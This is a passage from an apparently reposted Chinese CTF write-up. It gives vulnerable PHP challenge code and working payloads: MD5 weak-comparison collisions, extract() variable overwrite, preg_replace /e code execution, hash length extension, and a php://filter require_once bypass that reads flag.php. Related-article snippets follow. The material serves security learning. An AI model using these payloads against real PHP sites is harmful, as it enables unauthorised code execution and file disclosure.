            die("nope,this is level 3");
        }
    }
}
if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}
if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

第一关md5弱类型,传两个即可,?key1=MAUXXQC&key2=MMHUWUV

第二关是强相等,虽然sha1和md5比,但两个都处理不了数组,post传key3[]=1

第三关是strcmp弱比较,key4肯定无法和flag相等,传数组返回false,false==0,传key4[]=1

第四关key5不能是纯数字又要>2023,传key5=2024a,即可,字符串在与数字运算时自动转为数字u

第五关有个extract,post变量值不能数字有字母,但只要不为空或false就能拿flag,post传flag5=?,利用extract导入即可,最后的总payload

get:?key1=MAUXXQC&key2=MMHUWUV&key4[]=1&key5=2024a
post:key3[]=1&flag5=?

在这里插入图片描述

xyctf warmup

源码

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}

第一个弱比较,第二个要自己和md5都是0e

第三个把XYCTF_550102591拿去md5一下,发现是0e,所以用extract变量覆盖把$XY$XYCTF都改一下就行,payload:

?val1=MAUXXQC&val2=MMHUWUV&md5=0e215962017&XY=MAUXXQC&XYCTF=MAUXXQC

来到第二关

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

intval,不能传数字,还有非0,所以直接传数组即可,preg_replace在学习rce时就了解过有个\e可以任意执行php代码

在这里插入图片描述

后面直接看flag即可

xyctf givemeflag

源码:

<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
    highlight_file(__FILE__);
    die($FLAG_md5);
}
$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();
if(md5($FLAG.$value.$time)===$md5)
{
    echo "yes, give you flag: ";
    echo $FLAG;
}

题目直接给了flag的md5值,所以flag就感觉是salt了,所以现在已知的hash(flag),没有M1,然后现在要求hash(flag+ext),题目加的是时间戳,于是选个未来的时间戳即可,用脚本生成好后,在接近预定的时间前持续发送即可,

当然还需要知道flag的长度,比赛公告里就提出flag头为flag或xyctf,所以就是42或43,尝试43就出了

在这里插入图片描述

时间戳题目会加,所以提交去掉时间戳的新明文即可

在这里插入图片描述

Dest0g3 520迎新赛phpdest

源码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
}

这一题就是考如何绕过require_once,重复/proc/self/root即可,用php:filter读取即可

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1684886.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】进程信号及相关函数/系统调用的简单认识与使用

文章目录 前言一、相关函数/系统调用1. signal2. kill3. abort (库函数)4. raise (库函数)5. alarm 前言 现实生活中, 存在着诸多信号, 比如红绿灯, 上下课铃声…我们在接收到信号时, 就会做出相应的动作. 对于进程也是如此的, 进程也会收到来自 OS 发出的信号, 根据信号的不同…

树莓派 Raspberry Pi M.2 HAT+ 现已发售!原理图流出!

​Raspberry Pi M.2 HAT 使您能够将 M.2 M-key 外设&#xff08;如 NVMe 驱动器和人工智能加速器&#xff09;连接到 Raspberry Pi 5。它能够提供与这些外设之间的快数据传输&#xff08;高达 500 MB/s&#xff09;&#xff0c;现在就可以从树莓派的授权经销商网络购买&#xf…

智能网关和交换机在智慧路灯杆上的用途差别

智慧路灯杆是智能城市建设中的一个重要组成部分&#xff0c;它整合了智能照明、视频监控、交通管理、环境监测、网络覆盖、信息发布、一键告警等多种功能。针对智慧路灯杆的使用场景&#xff0c;智能网关和交换机各自发挥着不同的作用&#xff0c;并且拥有各自的优缺点&#xf…

5.14.3 UNETR:用于 3D 医学图像分割的 Transformers

具有收缩和扩展路径的全卷积神经网络 (FCNN) 在大多数医学图像分割应用中表现出了突出的作用。在 FCNN 中&#xff0c;编码器通过学习全局和局部特征以及上下文表示来发挥不可或缺的作用&#xff0c;这些特征和上下文表示可用于解码器的语义输出预测。 在FCNN中&#xff0c;收缩…

包装类..

定义&#xff1a;基本数据类型对应的对象。 如何获取包装类&#xff1a;直接赋值即可&#xff1b;Integer i10; 其中的一个成员方法&#xff1a; public static int parseInt(String s)——把字符串类型的整数转成int 类型的整数。 8种包装类中&#xff0c;除了character都…

力扣刷题---1748.唯一元素的和【简单】

题目描述 给你一个整数数组 nums 。数组中唯一元素是那些只出现 恰好一次 的元素。 请你返回 nums 中唯一元素的 和 。 示例 1&#xff1a; 输入&#xff1a;nums [1,2,3,2] 输出&#xff1a;4 解释&#xff1a;唯一元素为 [1,3] &#xff0c;和为 4 。 示例 2&#xff1a;…

单词可交互的弧形文本

在一个项目中&#xff0c;要求把少儿读本做成电子教材呈现出来&#xff0c;电子书的排版要求跟纸质书一致。其中&#xff0c;英语书有个需求&#xff1a;书中有些不规则排版的文本&#xff08;如下图所示&#xff09;&#xff0c;当随书音频播放时&#xff0c;被读到的文本要求…

注意力机制篇 | MSFE:即插即用的多尺度滑窗注意力(附源码实现)

前言:Hello大家好,我是小哥谈。多尺度滑窗注意力(Multi-Scale Sliding Window Attention,MSFE)是一种用于处理图像的深度学习模型。它通过引入多尺度特征提取和滑窗注意力机制来提高图像识别的准确性。在MSFE中,模型采用多尺度卷积神经网络来提取图像的特征,然后使用滑窗…

同旺科技 FLUKE ADPT 隔离版发布 ---- 2

所需设备&#xff1a; 1、FLUKE ADPT 隔离版 内附链接&#xff1b; 应用于&#xff1a;福禄克Fluke 12E / 15BMax / 17B Max / 101 / 106 / 107 应用于&#xff1a;福禄克Fluke 15B / 17B / 18B 正面&#xff1a; 反面&#xff1a; 侧面&#xff1a; 开孔位置&#xff08;可…

一种综合评价及决策方法:层次分析法AHP

大家好&#xff0c;层次分析法(Analytic Hierarchy Process&#xff0c;AHP)是一种多准则决策方法&#xff0c;它帮助决策者处理复杂的决策问题&#xff0c;将其分解成层次结构&#xff0c;然后通过两两比较来确定各个层次的因素之间的相对重要性。这种分析方式允许决策者对问题…

抖店,今年入场还有机会吗?从客观角度分析!

大家好&#xff0c;我是电商小V 伴随着短视频平台的兴起&#xff0c;也慢慢的步入了电商市场&#xff0c;成为了一个新的电商模式&#xff0c;抖音小店就是依靠着短视频达人带货的流量模式&#xff0c;可以说一直处于红利期&#xff0c;享受着这个短视频风口&#xff0c;也是吸…

前端更改线上请求地址

由于后台接口更改 , 线上请求地址需从 /api/api/ 改成 /api/ , 需实现的效果如下图 1 在原本的vite.config.js中将前端做的端口转发内容更改 , 更改一行即可 import { defineConfig } from vite import react from vitejs/plugin-react import path from path import * as fs …

C语言指针相关知识(第四篇章)(非常详细版)

文章目录 前言一、什么是回调函数二、qsort函数的介绍(默认升序排序)三、qsort函数的模拟实现&#xff08;通过冒泡排序&#xff09;总结 前言 本文介绍了回调函数&#xff0c;qsort函数的使用&#xff0c;以用冒泡排序来模拟实现qsort函数 提示&#xff1a;以下是本篇文章正文…

大语言模型量化方法对比:GPTQ、GGUF、AWQ 包括显存和速度

GPTQ: Post-Training Quantization for GPT Models GPTQ是一种4位量化的训练后量化(PTQ)方法&#xff0c;主要关注GPU推理和性能。 该方法背后的思想是&#xff0c;尝试通过最小化该权重的均方误差将所有权重压缩到4位。在推理过程中&#xff0c;它将动态地将其权重去量化为f…

【wvp】获取丢包及码率等参数

目录 设计 测试 swagger 设计 /** * 获取推流过程中的bytesSpeed,loss等统计信息 * 方案1&#xff1a;每个app stream 一个线程&#xff0c;定时获取统计信息。当subscribe 时&#xff0c;进行“增加&#xff1b;修改&#xff1b;加入队列”操作。 * 缺点&#xff1a; 占用…

linux mail命令及其历史

一、【问题描述】 最近隔壁组有人把crontab删了&#xff0c;crontab这个命令有点反人类&#xff0c;它的参数特别容易误操作&#xff1a; crontab - 是删除计划表 crontab -e 是编辑&#xff0c;总之就是特别容易输入错误。 好在可以通过mail命令找回&#xff0c;但是mai…

CentOS-9配置静态IP地址

查看配置命令nmcli CentOS 9 使用 nmcli 命令行工具进行网络配置。以下是配置静态 IP 地址的步骤和示例代码&#xff1a;相对以前centos7之类的&#xff0c;9版本的默认的网络是NetworkManager&#xff0c;网络配置也有较大改变 nmcli con show用vim进行编辑配文件 cd /etc/…

ESP32学习笔记:WS2812B驱动

WS2812B是一款贴片RGB灯。由于采用了单总线通讯&#xff0c;所以需要特别关注下它的通讯时序。 调试细节&#xff1a; 本来以为会是一个比较简单的调试&#xff0c;结果还是花了很长时间才调试完成。 首先是关于ESP32的纳秒级延时确定&#xff0c;当时按照空指令始终调试不出来…

ECharts实现地图飞线

echarts版本&#xff1a;https://echarts.apache.org/zh/changelog.html v5.x.x版本&#xff1a;不提供china.js和china.json文件 v4.x.x版本&#xff1a;使用npm安装echarts&#xff0c;默认包含china.js和china.json文件 目录 一、Html工程 二、vue工程 三、vue工程 四、矢…

国赛部分复现

MISC 神秘文件 下载解压后是个pptm文件&#xff0c;内容丰富 使用010打开ppt查看 发现为PK开头&#xff0c;属于压缩包文件。复制粘贴ppt&#xff0c;修改副本后缀为.zip并解压 part1 查看属性&#xff0c;发现奇怪字符 QFCfpPQ6ZymuM3gq 根据提示Bifid chipher&#xff0c;…